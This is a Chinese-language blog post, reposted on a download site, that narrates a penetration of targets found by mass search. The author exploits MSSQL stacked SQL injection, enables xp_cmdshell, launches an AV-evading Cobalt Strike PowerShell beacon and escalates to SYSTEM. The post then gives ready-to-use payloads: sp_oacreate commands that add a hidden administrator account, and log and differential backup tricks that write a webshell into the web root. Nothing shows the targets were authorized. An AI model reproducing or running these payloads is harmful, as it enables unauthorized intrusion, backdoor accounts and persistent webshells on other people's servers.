快盘下载:好资源、好软件、快快下载吧!

快盘排行|快盘最新

当前位置:首页软件教程电脑软件教程 → 记一次堆叠注入拿shell的总结

记一次堆叠注入拿shell的总结

时间:2022-09-05 11:10:54人气:作者:快盘下载我要评论

菜鸡第一次实战中碰到mssql的堆叠注入,大佬们轻喷。

本来对堆叠注入没啥了解,这次正巧碰到mssql的堆叠注入,正好加强一下对堆叠注入的理解。

堆叠注入

因为在sql查询语句中, 分号“;”代表查询语句的结束。所以在执行sql语句结尾分号的后面,再加一条sql语句,就造成了堆叠注入。

这种情况很像联合查询,他们的区别就在于联合查询执行的语句是有限的,只能用来执行查询语句,而堆叠注入可以执行任意语句。

菜鸡不会审计php代码,这里就不贴sql语句的源码了。

下面是渗透流程 先fofa批量找一下目标

记一次堆叠注入拿shell的总结

前台的页面 首先怼一波弱口令

其实有几个是可以弱口令直接进后台的,但是后台没有任何的getshell点

T-Sec Web 应用防火墙

那就只能在后台的登录窗口试一试有没有注入了,抓包测试一下

T-Sec Web 应用防火墙

发现有注入点,直接上sqlmap一把梭 直接出了mssql 数据库 而且是堆叠注入 这里想直接 —os-shell,想起来堆叠注入后面的语句是没有回显的,再换个思路。

T-Sec Web 应用防火墙

ping 下DNSlog 看看是否可以直接执行命令 看来是可以执行命令的

T-Sec Web 应用防火墙

再换个思路,尝试用xp_cmdshell 手工打开xp_cmdshell ,发现函数没有被禁用 ,可以执行命令

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
复制代码

尝试直接注入cs的powershell上线 好家伙,直接上线 ,看来函数没有被禁用

EXEC master..xp_cmdshell’免杀powershell命令’
复制代码

T-Sec Web 应用防火墙

甜土豆提权到system

T-Sec Web 应用防火墙

连xp_cmdshell命令都没有禁用,想来也不会有什么杀软。 首先看了一下进程,emmm 那么多powershell进程……没有啥玩的必要了。 可以尝试溯源一波,下篇文章发。

T-Sec Web 应用防火墙

也没有内网,收工。

T-Sec Web 应用防火墙

总结

这里这么顺利是因为没有杀软,命令也都没有拦截禁用,下面说一下如果xp_cmdshell如果被禁用该怎么办。

1. sp_configure函数

开启sp_configure函数的命令

EXEC sp_configure 'show advanced options', 1;  RECONFIGURE WITH OVERRIDE;  EXEC sp_configure 'Ole Automation Procedures', 1;  RECONFIGURE WITH OVERRIDE;  EXEC sp_configure 'show advanced options', 0;
复制代码

执行系统命令 注意没有回显

下面的命令添加一个影子用户并加入管理员组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user hack$ 0r@nge /add';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators 0r@nge$ /add';
复制代码

还有其他的函数,这里就不一一列举了。

很多情况上面两个函数并不能执行(存在杀软),mssql数据库可以用一下两个方法

2.log备份写shell

前提条件:

1.数据库存在注入

2.用户具有读写权限,一般至少DBO权限

3.有网站的具体路径

4.站库不分离

而且这种方法备份出的马子体积很小,备份成功的可能性很大。

步骤:

1.修改数据库为还原模式(恢复模式):

;alter database 库名 set RECOVERY FULL –-
复制代码

3.建表和字段

;create table orange(a image)--
复制代码

3.备份数据库

;backup log 数据库名 to disk = ‘c:wwwr@nge1.bak’ with init –
复制代码

4.往表中写入一句话

;insert into orange(a) values (0x...)--    //值要进行hex进制转换下
复制代码

5.利用log备份到web的物理路径

;backup log 数据库名 to disk = 'c:wwwr@nge2.php' with init--
复制代码

6.删除表

;Drop table orange--
复制代码

差异备份写shell

概念:备份自上一次完全备份之后有变化的数据。差异备份过程中,只备份有标记的那些选中的文件和文件夹。它不清除标记,也即备份后不标记为已备份文件。换言之,不清除存档属性。

用人话说就是:第二次备份的时候,与上一次完全备份的时候作对比,把不同的内容备份下来,所以只要插入我们的一句话木马,再备份一下,一句话就会被写到数据库中。

条件:

有网站具体路径 有可写权限(dbo权限以上) 站库不分离

1.备份数据库

;backup database 数据库名 to disk = 'C:www...' with init --
复制代码

2.创建表格

%';create table orange(a image) --
复制代码

3.写入webshell

%';insert into orange(a) values (0xxxxx) --
复制代码

4.进行差异备份

%';backup log 数据库名 to disk = 'C:wwworange.asp'  WITH DIFFERENTIAL,FORMAT;--
复制代码

5.删除表

;Drop table orange--
复制代码

这些都是理论,实战中可能被各种过滤,还需要修改payload进行具体绕过。

原创声明,本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 本站 删除。

相关文章

  • T-Sec Web 应用防火墙实践接入

    腾讯云 Web 应用防火墙(Web Application Firewall,WAF)是一款基于 AI 的一站式 Web 业务运营风险防护方案。通过 AI+规则......

网友评论

快盘下载暂未开通留言功能。

关于我们| 广告联络| 联系我们| 网站帮助| 免责声明| 软件发布

Copyright 2019-2029 【快快下载吧】 版权所有 快快下载吧 | 豫ICP备10006759号公安备案:41010502004165

声明: 快快下载吧上的所有软件和资料来源于互联网,仅供学习和研究使用,请测试后自行销毁,如有侵犯你版权的,请来信指出,本站将立即改正。